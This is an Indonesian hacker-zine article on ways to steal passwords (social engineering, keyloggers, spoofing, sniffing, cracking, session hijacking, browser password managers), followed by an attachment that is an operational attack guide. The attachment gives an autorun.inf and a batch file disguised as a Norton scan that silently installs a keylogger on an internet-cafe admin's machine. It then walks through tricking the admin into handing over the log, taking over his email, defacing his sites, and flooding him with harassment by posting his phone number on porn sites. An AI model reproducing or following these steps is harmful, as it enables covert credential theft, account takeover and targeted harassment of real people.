Bagaimana Cara Para Hacker mendapatkan Password Anda

  : Table oF Contents :
  ---------------------
  0 [0XFF00000] Preface
  0 [0XFFF0000] Bagaimana Mendapatkannya?
    [1]. Social Engineering
    [2]. KeyLogger
    [3]. Web Spoofing
    [4]. Menghadang Email
    [5]. Password Cracking
    [6]. Session Hijacking
    [7]. Menjadi Proxy Server
    [8]. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser
    [9]. Googling
  0 [0XFFFF000] Penutup
  0 [0XFFFFF00] Referensi
  0 [0XFFFFFF0] Shoutz
  0 [0XFFFFFFF] Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]
   
   
   
  0 [0XFF00000] Preface
  
  Pencurian password, pengambilalihan account, merupakan hal yang sering terjadi
  di dunia cyber. Bukan hal yang sulit untuk   melakukannya,   namun banyak para
  newbie yang terus saja bertanya-tanya.. "Bagaimana  cara  mendapatkan password
  email orang lain?" atau pertanyaan yang  paling  sering  saya  terima  ialah..
  "Bagaimana cara anda mendapatkan password saya?" :P
 
  Untuk pertanyaan-pertanyaan itulah artikel ini ditulis, semoga  bisa  menambah
  wawasan anda  dan membuka  pikiran  anda  tentang  betapa  pentingnya  menjaga
  account saat berada di tempat-tempat rawan.
  
 
  0 [0XFFF0000] Bagaimana Mendapatkannya?
  
  Ada banyak cara untuk  mendapatkan suatu password. Beberapa diantaranya  tidak
  membutuhkan keahlian khusus.  Berikut adalah cara-cara yang  paling  umum  dan
  paling sering digunakan:
  
  [1]. Social Engineering
  [2]. KeyLogger
  [3]. Web Spoofing
  [4]. Menghadang Email
  [5]. Password Cracking
  [6]. Session Hijacking
  [7]. Menjadi Proxy Server
  [8]. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser
  [9]. Googling
  

   
  [1]. Social Engineering
 
  Social Engineering adalah  nama  suatu  tehnik  pengumpulan  informasi  dengan
  memanfaatkan celah psikologi korban. Atau mungkin boleh juga dikatakan sebagai
  "penipuan" :P Sosial Engineering membutuhkan kesabaran dan kehati-hatian  agar
  sang korban tidak  curiga.  Kita  dituntut untuk kreatif dan mampu  berpikiran
  seperti sang korban.
 
  Social Engineering merupakan seni "memaksa" orang lain untuk melakukan sesuatu
  sesuai dengan  harapan  atau  keinginan  anda.  Tentu  saja  "pemaksaan"  yang
  dilakukan  tidak secara terang-terangan atau diluar tingkah laku  normal  yang
  biasa dilakukan sang korban.
  
  Manusia cenderung untuk percaya atau mudah  terpengaruh  terhadap  orang  yang
  memiliki  nama  besar, pernah (atau sedang berusaha)  memberikan  pertolongan,
  dan memiliki  kata-kata  atau  penampilan  yang  meyakinkan.  Hal  ini  sering
  dimanfaatkan pelaku social engineering untuk  menjerat  korbannya.  Seringkali
  sang pelaku membuat suatu kondisi agar kita  memiliki  semacam  ketergantungan
  kepadanya.Ya,tanpa kita sadari dia mengkondisikan kita dalam suatu masalah dan
  membuat ( seolah - olah hanya ) dialah yang bisa mengatasi masalah itu. Dengan
  demikian,tentu kita akan cenderung untuk menuruti apa  yang  dia  instruksikan
  tanpa merasa curiga.
 
  Sosial Engineering adakalanya menjadi ancaman serius. Memang  sepertinya tidak
  ada kaitan dengan teknologi, namun sosial engineering tetap  layak  diwaspadai
  karena bisa berakibat fatal bagi sistem anda. Why??  Karena  bagaimanapun juga
  suatu komputer tetap saja tidak bisa lepas dari manusia. Ya,  tidak  ada  satu
  sistem komputerpun di muka bumi ini  yang  bisa  lepas  dari   campur   tangan
  manusia. ehebat apapun pertahanan anda, jika anda sudah dikuasai oleh attacker
  melalui social engineering, maka bisa jadi  anda  sendirilah  yang  membukakan
  jalan masuk bagi sang attacker.
  
  # Contoh Social Engineering sederhana:
  Baca Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]
   
  
  [2]. KeyLogger
  
  KeyLogger adalah software yang dapat merekam aktivitas user. Hasil rekaman itu
  biasa disimpan berupa teks atau gambar. KeyLogger bekerja berdasarkan  ketukan
  keyboard user. Aplikasi ini mampu mengenali form-form  sensitif  seperti  form
  password misalnya.
  
  Ada cara aman untuk menghindari keyloger:
  1. Gunakan password dengan karakter special seperti !@#$%^&*(){}[]. Kebanyakan
  keyloger  akan  mengabaikan   karakter  ini  sehingga  sang  pelaku  (pemasang
  keyloger) tidak akan mendapatkan password anda yang sebenarnya.
  
  2. Persiapkan password dari  rumah,  simpan  dalam  bentuk  teks.  Saat  ingin
  memasukkan password, tingal copy-paste ajah. Keyloger  akan  membaca  password
  anda berdasarkan ketukan keyboard. Namun  cara  ini  agak  beresiko.  Mengapa?
  karena saat anda melakukan copy, data anda akan tersimpan di clipboard.   Saat
  ini banyak dijumpai software-software gratis yang bisa menampilkan data  dalam
  clipboard.
  
  
  [3]. Web Spoofing
  
  Masih ingat kasus pecurian Account sejumlah nasabah Bank BCA? Ya, itulah salah
  satu contoh nyata dari Web   spoofing.  Inti  dari  tehnik  ini  ialah  dengan
  memanfaatkan kesalahan user saat mengetikkan alamat situs  pada  address  bar.
  Pada dasarnya, Web Spoofing adalah usaha untuk menipu korban agar mengira  dia
  sedang mengakses suatu situs tertentu, padahal bukan.
  
  Pada kasus bank BCA, pelaku membuat situs yang sangat mirip dan identik dengan
  situs aslinya sehingga sang  korban  yang  terkecoh  tidak  akan  merasa  ragu
  mengisikan informasi sensitif seperti  user  name  dan  Passwordnya.  Padahal,
  karena situs tersebut adalah situs tipuan, maka semua informasi berharga  tadi
  terekam oleh webserver palsu, yaitu milik sang pelaku.
   
  
  [4]. Menghadang Email
  
  Menghadang email? Ya, dan sangat mudah untuk melakukan  hal  ini.  Salah  satu
  cara adalah dengan menggunakan mailsnarf yang terdapat  pada  utility  dsniff.
  Cara kerja Mailsnarf  adalah  dengan  menghadang  paket  data  yang  lewat  di
  Internet dan menyusunnya menjadi suatu email utuh.
  
  Dsniff dan mailsnift merupakan software bekerja  atas  dasar  WinPcap  (setara
  dengan libcap pada Linux) yaitu suatu library yang menangkap paket-paket data.
  Paket-paket yang ditangkap ini akan disimpan dalam bentuk file  oleh  Windump,
  sedangkan Dsniff dan MailSnarf bertindak lebih  jauh  lagi  yaitu  menganalisa
  paket-paket  data  ini  dan  menampilkan  password  (dsniff)  atau  isi  email
  (mailsnarf).
  
  Baca artikel terkait pada arsip lama :)
  
  
  [5]. Password Cracking
  
  "Hacking while sleeping." itulah  ungkapan yang biasa dipakai oleh orang-orang
  yang melakukan password cracking. Mengapa? Karena pada umumnya dibuthkan waktu
  yang lama untuk melakukan pasword cracking. Bisa berjam-jam, bahkan  berhari -
  hari! Semua itu  tergantung  dari  target,  apakah  sang  target   menggunakan
  password yang umum, password memiliki panjang karakter yang tidak  biasa, atau
  password memiliki kombinasi dengan karakter-karakter special.
  
  Salah satu software yang biasa digunakan untuk melakukan hal ini ialah  dengan
  mengunakan Brutus, salah satu jenis software  remote  password  cracker   yang
  cukup  terkenal.  Brutus  bekerja  dengan  teknik  dictionary   attack    atau
  bruce-force attack terhadap port-port http, POP3,ftp, telnet, dan  NetBIOS.
  
  Dictionary Attack bekerja dengan mencobakan  kata-kata yang  ada  dalam  kamus
  password. Sedangkan  brute - force  attack  bekerja  dengan  mencobakan  semua
  kombinasi huruf, angka, atau karakter.
  
  Brute Force Atack  bekerja sangat  lambat  dan  membutuhkan  waktu  yang  lama
  tergantung   dari   jenis   spesifikasi   komputernya  dan  panjang   karakter
  passwordnya. Saat ini telah banyak situs yang menutup  akses   terhadap  akses
  terhadap usaha login yang secara terus-menerus tidak berhasil.
  
  Jika anda ingin melakukan password Cracking, silahkan  pilih - pilih   sendiri
  aplikasinya di halaman Member - spyrozone.net.
  
  
  [6]. Session Hjacking
 
  Session hijacking dewasa  ini semakin marak dikalangan para attacker.  Session
  Hijacking biasa dilakukan  dengan   melakukan  peniruan  cookies.  Jadi   pada
  intinya, kita harus bisa meniru  cookies sang korban untuk  mendapatkan   sesi
  loginnya.
  
  Lalu bagaimana cara mendapatkan cookies sang korban?
  1. Dengan analisa Cookies. Cara ini relatif sulit dilakukan.
  2. Mencuri Cokies.
  Misalnya Sang Attacker ingin mendapatkan  account si  A.  Sang  Attacker  bisa
  dengan mudah membuat semacam script  Java Script yang disisipkan dalam   email
  untuk dikirim ke korban.Saat korban membuka email itu, tanpa sadar  cookiesnya
  akan dicuri dan direkam ke suatu webserver dengan memanfaatkan  suatu   script
  PHP.
 
  Belakangan ini yang paling sering menjadi incaran  adalah  account Friendster.
  Ada yang menyisipkan suatu scipt lewat testimonial, ada yang menyisipkannya di
  profilnya sendiri untuk mencuri cookies sang korban dan lain sebagainya.  Saya
  memiliki tips untuk ini:
 
  1. Jangan menggunakan browser InternetExplorer saat ingin membuka profil orang
     lain. Catat alamat profil yang ingi anda lihat,logout terlebih dahulu  dari
     account anda dan bersihkan semua  cookies,  baru  kemudian  bukalah  profil
     Friendster tujuan.
  2. Ketika menerima testimonial, periksa terlebih dahulu source codenya. Apakah
     disana terdapat script asing atau kata-kata yang identik dengan  pembajakan
     seperti : "HACKED", "DEFACED", "OWNED".. dll.. Jika ragu-ragu....... reject
     ajah..
  3. Waspada ketika tanpa suatu alasan yang jelas tiba-tiba anda  logout  dengan
     sendirinya dari account anda. Saat anda  diminta  memasukkan  username  dan
     password, lihat dulu addressbar anda! apakan anda sedang  berada  di  situs
     yang semestinya atau tidak. Periksa source code halaman tersebut.Lihat pada
     form action, kemana informasi anda nantinya akan dikirim.
  
  Sebenarnya session  hijacking bisa dicegah jika saja  sang   penyedia  layanan
  memperhatikan hal-hal berikut:
  
  1. Menetapkan session identifier yang unik
  2. Menetapkan sistem identifier berpola acak
  3. Session identifier yang independen
  4. Session identifier yang bisa dipetakan dengan koneksi client side.
  
  Fenomena lain adalah,hingga saat artikel ini diterbitkan,ternyata masih banyak
  dijumpai para user yang tidak melakukan sign out setelah  membuka  accountnya.
  Dengan demikian, orang lain yang mengunakan komputer itu dan  membuka  website
  yang sama dengan yang telah dibuka oleh orang pertama akan otomatis  login  ke
  account sang korban.
   
  
  [7]. Menjadi Proxy Server
  
  Kita bisa mengumpulkan informasi dengan  menjadi proxy  server   bagi   korban
  untuk  dapat berselancar. Dengan menjadi proxy server, seluruh identitas  sang
  peselancar bisa menjadi milik kita.
  
  
  [8]. Memanfaatkan Kelalaian user dalam penggunaan fitur browser
  
  Setiap browser tentunya  memiliki fitur yang ditujukan  untuk  kemudahan   dan
  kenyamanan penggunanya dalam  berselancar. Diantaranya  ialah  dengan   adanya
  cache dan Password Manager.
  
  Di Internet tentunya banyak suatu  website yang isinya  tidak  berubah   dalam
  beberapa hari (Contohnya spyrozone.net nich.. hehehe ;)  Nah, untuk  situs yang
  seperti ini cache menjadi hal yang   sangat  berguna.  Cache  akan   menyimpan
  file-file hasil browsing sehinga nantinya  jika anda berkunjung lagi  ke situs
  tersebut browser tidakperlu lagi melakukan  download untuk kedua  kalinya dari
  server sehingga setiap halaman situs yang  telah anda  buka   sebelumnya  akan
  terbuka dengan lebih cepat.  Semua itu biasanya  diatur oleh  header  time  to
  live.
  
  Lho, bagaimana dengan  situs-situs penyedia berita yang selalu  up  to   date?
  Untuk site yang seperti itu,  time to  live-nya akan di set=0 sehinga nantinya
  anda akan terus melakukan download setiap kali berkunjung.
  
  Cukup nyaman bukan?  Ya, tapi ancaman mulai timbul. Cobalah kini anda jelajahi
  opsi-opsi yang  berkaitan  dengan cache pada browser  anda.  Tentu  anda  bisa
  menemui bahwa ada fasilitas  untuk  menentukan berapa  besarnya file temporary
  yang bisa disimpan di harddisk.  Cari juga lokasi dimana  file-file   tersebut
  akan disimpan.
  
  Coba anda buka folder tersebut, anda akan menemui file-file html  &  file-file
  gambar dari site-site  yang sudah anda kunjungi. Pada Browser IE,   anda  bisa
  melihat lokasi file cache dengan menjelajahi menu Tools  ---> Internet options
  ---> Settings
  
  Lalu apa yang bisa didapatkan??  toh cuma file-file "sampah"?? Hmm... sekarang
  coba anda copy semua file yang ada di sana  ke  suatu  folder.   Lalu  bukalah
  salah-satu file htmlnya. Jika itu komputer publik,anda bisa  mengetahui  situs
  apa saja yang telah diakses oleh oleh orang sebelum anda.
  
  Hmm.. hanya dengan melihat file temporary  anda bahkan bisa  melihat  password
  dan dll.Banyak saya temui situs yang menyimpan  password   dan  menampilkannya
  pada url. Tentunya anda juga pasti sering membacanya di berbagai tutorial.
  
  Kebanyakan browser pada saat ini memiliki fasilitas untuk  menyimpan password.
  Misalnya saat meggunakan Mozilla Firefox,  anda pasti  sering  menerima  kotak
  dialog konfirmasi yang menanyakan apakah anda  ingin  password  anda  disimpan
  atau tidak oleh PasswordManager.Kebanyakan user  cenderung  untuk memilih opsi
  YES, entah itu dengan penuh kesadaran  atau memang mereka  tidak  tau  ( baca:
  tidak mau tau) apa maksud dari kotak dialog itu.
  
  Orang lain yang kemudian  mengunakan  browser itu  bisa  dengan  sangat  mudah
  mendapatkan password  korban dengan  memasuki menu  Tools  --->  Options  --->
  Security --> Saved password.
  
  Contoh lain adalah fasilitas  wand password yang dimiliki  oleh browser Opera.
  Saat anda memasukkan  user name dan password  pada  suatu  form  dan   menekan
  tombol submit, opera  secara default  akan  meminta   konfirmasi  kepada  anda
  apakah anda ingin browser menyimpan id dan password anda atau  tidak. Lagi dan
  lagi... kebanyakan netter ceroboh, mereka cenderung untuk memilih opsi "YES".
  
  Lalu??  Orang  lain  yang  kemudian  menggunakan  browser  itu  bisa   melihat
  situs apa saja  yang telah  diakses  oleh  user,  arahkan  browser   ke  situs
  tersebut, letakkan cursor pada form isian user name,  tekan  [ALT]+[ENTER] dan
  BOOOMM!!!! Kenapa??  Jangan kaget dulu!! Hehehe.. form  login   akan  otomatis
  terisi dengan user name korban  lengkap  dengan  passwordnya  ;D   (It's  fun
  enough.. ;)
  
  Ini hanya sebagian kecil contoh, jelajahi fitur-firtur browser lain!
  
  
  [9]. Googling
  
  Google.com. Banyak sudah situs  yang runtuh, password dan nomor - nomor  kartu
  kredit yang dicuri akibat dari ulah orang yang menyalahgunaan  kesaktiannya ;)
  Dahulu, hal ini mudah dilakukan.Hanya dengan mengetikkan  kata kunci  tertentu
  yang berkaitan dengan user name  dan  password,  anda  bisa  memanen   ratusan
  password user melalui google.  Tapi sekarang tampaknya  anda harus gigit  jari
  jika menggunakan cara diatas ;D
  
  Jangan sedih dulu  karena Google baru saja menelurkan  produk  barunya,  yaitu
  Google Code Search. Ancaman baru  mulai timbul,  "si pintar"  ini  kini  dapat
  meng-crawl hingga kepada archive  file yang berada  di  public  directory  web
  server. Hati-hati yang punya  kebiasaan  untuk menyimpan informasi penting  di
  dalamnya (password,  dan  info  berharga  lainnya)  Sebaiknya  mulai  sekarang
  kebiasaan itu dihilangkan.  Selalu proteksi folder-folder yang  sensitif  agar
  situs anda bisa hidup lebih lama.  Kalo nggak... yach.. tunggu ajah ada  orang
  yang memanfaatkan produk baru google ini untuk  mengeruk   informasi  sensitif
  dari web server anda. dan jika itu sudah terjadi... maka   bersiaplah.. "taman
  bermain" anda akan diambil alih olehnya..
  
  
  0 [0XFFFF000] Penutup
  
  Wew... ada banyak cara bukan untuk mendapatkan account orang lain?? So, selalu
  berhati-hatilah. Waspada selalu saat berada di tempat umum, bahkan saat berada
  di komputer pribadi anda sekalipun karena bisa jadi teman  anda atau  siapapun
  yang meminjam komputer anda memiliki tujuan yang kurang baik.
  
  Sekian, semoga bermanfaat dan bisa menambah pengetahuan anda :)
  
  
  0 [0XFFFFF00] Referensi
  
  - securityfocus[dot]com
  - phrack[dot]org
  - spyrozone[dot]tk
  - google[dot]com
  
  
  0 [0XFFFFFF0] Shoutz:
  
  - Vindika Anastasya & Vermouth Anastasya.. The deepest Love I'v ever had.. :)
  - All Crack Sky Staff! Hey there.. :)
  - ECHOERS, SECTOR-S (wake up guys!!)
  - EVILratE, PushMOV, MyzTX, Dr3, Lun4, Clust3r, RX-259, RX-290, RX-313, RX-147
  - Mr.Rio, PramayunTA, Alfian, Andien, Taurista, Bachtiar,  EQ,  WisNU,  Arman,
    Dani, Rara, Icha, Prita, Vivi, Nabiel, Tika,  Kemas,  Bomy,  Arbi,  Tunjung,
    Krishna, Rizki..
  - All my friend in SMAN 2 SIDOARJO
  - All member of www.spyrozone.net .. stay Alert in SPYRO ZONE!!
 
 
  0 [0XFFFFFFF] Attachment:
 
  Berikut adalah contoh social engineering sederhana. Saya ambil  dari   tulisan
  saya yang berjudul "Pembalasan Untuk Sang Admin"-www.spyrozone.net. Enjoy... ;)
 
  
  ------------------------------------------------------------------
 
 
                  Pembalasan Untuk Sang Admin - SOcial Engineering
 
   
 
  May 12, 2006 jam 21:16 malam di depan RedHat tercinta dengan segelas Heineken
  Author: SPYRO KiD
  CopyLeft (c) 2006 by www.spyrozone.net
  
 
  |---[Table of Contents
   
  1. Introduction
  2. Serangan pertama
  3. Serangan kedua
  4. Hari pembalasan
  5. Cara pencegahan
  6. Penutup
 
 
  1. Introduction
 
  Semakin paranoidnya para admin belakangan ini menyebabkan banyak pengguan jasa
  layanan internet cafe (warnet) menjadi kurang nyaman. Restriction (pembatasan)
  disana-sini (walaupun semua itu  dilakukan bukan tanpa alasan)  menjadi  salah
  satu inspirasi bagi banyak orang  untuk  mencari-cari  cara  menerobos  segala
  keterbatasan itu dan  saling  men-share  pengetahuan  mereka.  Berbagai  jenis
  exploit pun dibedah, didiskusikan  dan  dikemas  menjadi  artikel  untuk  para
  newbie.
  
  Sejenak para newbie bisa tertawa puas, berjaya, senyum-senyum  sendiri  sampai
  tak jarang lupa diri :P Namun semua itu tentunya tidak  bertahan  lama.  Admin
  menjadi semakn pintar. Fasilitas Floppy drive dan CD room  drive  dihapus  dan
  melarang  user  untuk   melakukan  segala  bentuk  transfer  file  dari  media
  penyimpanan sementara (disket, cd, flashdisk) kecuali melalui server  terlebih
  dahulu. Ini merupakan fenomena yang  akhir-akhir  ini  bisa  kita temui dengan
  mudah di berbagai Internet cafe. Admin mulai rajin  mengupdate  path  sehingga
  exploit-exploit yang dulu dibangga-banggakan oleh kaum newbie menjadi
  "rongsokan" tak berguna.
  
  Sekarang, mari kita bangunkan sang admin dari mimpi indahnya untuk menunjukkan
  bahwa menjadi paranoid itu adakalanya tidak baik dan  tidak  ada  system  yang
  100% secure.
 
 
  2. Serangan pertama
 
  Kita akan menjadi seorang "agen mata-mata" (hehehe.. gw pake istilah ini  biar
  ente merasa agak sedikit keren) yang akan merekam segala aktivitas sang admin.
  Tujuannya.. banyak! dan salah  satunya  seperti  hal  yang  banyak  diinginkan
  orang... mendapatkan  password  sang  admin.  Partner  kita  kali  ini  adalah
  navw32.exe, sebuah keyloger  dengan  icon  Norton  AntiVirus  yang  bisa  kamu
  dapatkan suka-suka dengan harga cuma-cuma di halaman  member  www.spyrozone.net
  kategori Keyloger. Setelah kamu download keyloger  tersebut,  ikuti  langkah -
  langkah berikut:
 
  ---[1 Bukalah Notepad kemudian ketik baris script berikut:
 
  [autorun]
  open=nav.bat
 
  Klik [file][save] kemudian pada box save as type, pilih  All  Files  dan  pada
  form isian name beri nama Autorun.inf lalu klik tombol [save].
 
  ---[2 Buka lembar baru pada notepad dengan klik menu [file] [new]  lalu  ketik
  script berikut:
 
  @echo off
  echo Norton Antivirus 2006
  echo Scanning disk drive...
  echo Please wait...
  copy navw32.exe %windir%\navw32.exe
  call %windir%\navw32.exe
  echo.
  echo.
  echo.
  echo.
  echo.
  echo.
  echo.
  echo. Scanning complette! No virus threat detected!
  echo.
  cls
 
  Klik [file][save] kemudian pada box save as type, pilih  All  Files  dan  pada
  form isian name beri nama nav.bat lalu klik tombol [save].
 
  ---[3. Persiapkan beberapa file microsoft word documents (bisa diganti  dengan
  file lain) sebagai tipuan/alasan  untuk  di  transfer.  Semakin  banyak  file,
  semakin baik karena file keyloger kamu akan semakin tersamarkan.
 
  ---[4. Persiapkan sebuah cd kosong (bekas juga boleh) lalu  bakar  semua  file
  diatas (autorun.inf, nav.bat, navw32.exe  dan file-file  tipuan)  kedalam  CD.
 
  Sekarang pergilah ke warnet tempat sang admin  berkuasa.  Bersikaplah  seperti
  biasa dan jangan  gugup  selayaknya  para  koruptor  yang  sering  nampang  di
  satasion-stasion TI-PI tanpa rasa malu. Setelah kamu login ke billing komputer
  user, datangi  sang  admin.  Katakan  pada  beliau,  "Mas/mbak/om/tante/,  mau
  transfer file dari cd ini. Nama filenya blablabla tolong  dikirim  ke komputer
  nomor blablabla."
  
  Begitu CD dimasukkan, saat itulah terjadi sebuah fenomena berikut:
  Komputer akan memproses file autorun.inf secara otomatis ---> file autorun.inf
  akan  memproses  file  nav.bat  --->  file   nav.bat  akan  menduplikasi  file
  navw32.exe ke dalam directory windows dan mengaktivkannya ---> Keyloger  telah
  terinstall, hasil rekamannya akan tersimpan di directory yang sama dengan nama
  navw32.dll beratribut hidden.
 
  Perlu diketahui bahwa keyloger ini tidak akan menampilkan kotak  dialog  dalam
  bentuk apapun! So, nggak usah khawatir bakal ketahuan ;)
  
  Sekarang, kamu bisa pulang dengan wajah tanpa dosa dan  mungkin  (lagi - lagi)
  kamu bakalan senyum-senyum sendiri sambil mengelus-elus  jenggot  kayak  habis
  menang togel.
  
  Lalu bagaimana cara mengambil file hasil rekaman keyloger di directory windows
  sang admin? Ikuti langkah-langkah pada serangan kedua.
 
 
  3. Serangan kedua
 
  Dua hari Kemudian, datanglah ke  warnet  itu  lagi.  Bertingkahlakulah  secara
  wajar  dan  beraktivitas  seperti  layaknya  user   biasa.   Setelah   selesai
  berinternet ria, datangi sang admin, bayarlah  biaya  browsing  seperti  biasa
  lalu dengan wajah sangat-sangat memelas seperti pengemis di jalanan :) katakan
  pada beliau,"Mas/mbak/om/tante/, komputer saya bermasalah neeh. Menurut  pesan
  Error yang muncul, file navw32.dll yang berada di  directory  windows  hilang.
  File tersebut beratribut hidden.  Tolong  doong  copykan  dari  komputer  ini.
  Kebetulan versi windowsnya sama dengan komputer saya.."
  
  Tentu saja biasanya sang admin dengan sangat senang hati  akan membantu  kamu.
  Dengan suka rela dan penuh kesadaran beliau akan mengaktifkan  opsi  Show  All
  files pada Folder Options dan  mengcopy-kan  file  navw32.dll  dari  directory
  windows tanpa menyadari bahwa file tersebut  bukan  file  system,  namun  file
  hasil rekaman keyloger.
  
  Berikan disket/cd/flashdisk mu dan setelah  file tersebut  tersimpan,  ucapkan
  beribu terima kasih lalu pulanglah ke rumah. Buka file tersebut di rumah. Klik
  2x pada file lalu ketika muncul kotak  dialog  open  with,  klik  opsi  select
  program from a list dan pilih notepad pada daftar  program  yang  ditampilkan.
  Sekarang tentunya kamu bisa leluasa membaca rekaman aktivitas sang admin. Cari
  password emailnya dan kamu bisa menuju pada hari pembalasan.
 
 
  4. Hari Pembalasan
 
  Pilih hari yang tepat, misalnya malam jum'at kliwon  dimana sang admin mungkin
  sedang terlelap di rumahnya. Nyalakan komputermu dan  connectlah ke  Internet.
  Namun ada baiknya kamu lakukan hal ini di  warnet  agar  lebih  aman.  Carilah
  warnet yang buka 24 jam.
 
  Berbekal hasil rekaman keyloger tadi, loginlah  ke  account email  sang admin.
  Setelah puas menjelajahi emailnya, subscriblah ke berbagai mailing list  besar
  dengan email tersebut. Subscribe sebanyak-banyaknya.
 
  Hohoho.. lalu apa lagi nich?? Kalau  sang  admin  punya  blog/website pribadi/
  account Friendster.. tentu kamu dengan mudah mendapatkan  semua  password  itu
  dengan fasilitas forgot password. Kebanyakan penyedia layanan seperti itu akan
  mengirimkan password via email.  So, setelah dapat semuanya... heheh... DEFACE
  ajah  ;) Tapi inget lho, halaman lama harus tetap di backup dan jangan merubah
  password apapun!!
  
  Ada ide yang sedikit lebih sadis  (ini  cuma  ide   lho..   sebaiknya   jangan
  dilakukan deech..). Daftarkan emailnya  ke  berbagai situs - situs  porno  dan
  postinglah sebuah pesan singkat, memikat  dan  "mematikan".  Berikut contohnya
  jika milis tersebut berbahasa Indonesia:
 
  Dear all..
  gwe lagi nafsu berat neeh, burun telepon gwe doong  sekarang  juga!!  neeh  no
  telp gwe: 021-blablabla (masukkan no telp sang admin)
  gwe tunggu 24 jam lho!!
 
  Atau terserah kamu laah.. saya rasa kamu lebih pintar dalam memilih kata- kata
  yang yahuud!! ;D
  
  Maka bisa  dipastikan  malam  itu  akan  menjadi  malam  jumat  kliwon  paling
  mengerikan bagi sang admin, lebih mengerikan daripada film-film horor manapun!
  Telepon rumahnya akan berdering tanpa henti dibanjiri oleh telepon dari  dalam
  dan luar  negeri  dengan  maksud  pembicaraan  yang  sudah  bisa  ditebak  apa
  maksudnya ;D
  
  Keesokan harinya, setelah menghadapi malam paling mengerikan itu,  sang  admin
  akan kaget 1/2 hidup 1/2 mati mendapati inboxnya penuh dengan email-email dari
  berbagai milis yang  beliau  sendiri  tidak  merasa  pernah  bergabung  dengan
  milis-milis itu. Dan bisa   jadi,  saat  beliau  sedang sibuk Unsubcribe  dari
  milis-milis tersebut, telepon rumahnya masih terus - terusan  menjerit - jerit
  dengan jeritan indah :D
 
 
  5. Pencegahan
 
  Jika kamu adalah admin yang tidak mau mengalami  nasib  seperti  diatas,  maka
  setiap kamu menerima CD dari siapapun..
  1. Buka windows explorer
  2. Tekan-tahan tombol  shift  sambil memasukkan CD kedalam CD Room dRive.
  3. Setelah CD masuk,tetap tekan tombol shift sampai kira-kira 25 detik.Setelah
  itu kamu bisa melepas tombol shift dan mengaksesnya melalui panel sebelah kiri
  windows Explorer. Klik pada area folder tree, jangan pada daftar drive sebelah
  kanan karena fitur autorun akan aktif.
 
  Dan ingat, jangan terlalu percaya pada siapapun! Ada begitu banyak orang tidak
  terduga di sekitar anda!!
 
 
  6. Penutup
 
  ---[+ Kesimpulan
  Bisa kita bayangkan sendiri betapa kelalaian sepele  bisa  menimbulkan  dampak
  yang sangat berbahaya. Ini hanya merupakan contoh Social Engineering sederhana
  namun dampaknya.. bisa anda bayangkan sendiri ;)
  
  Cara diatas sudah saya coba pada 4 buah warnet di sidoarjo dan  hasilnya  saya
  berhasil mendapatkan catatan aktivitas sang admin (password etc..). Tapi untuk
  penerapan "PEMBALASAN" tentu saya tidak melakukan hal sekejam itu ;P

  -----------------------------------------------------------------       

/* ------------------------------|EOF|------------------------------ */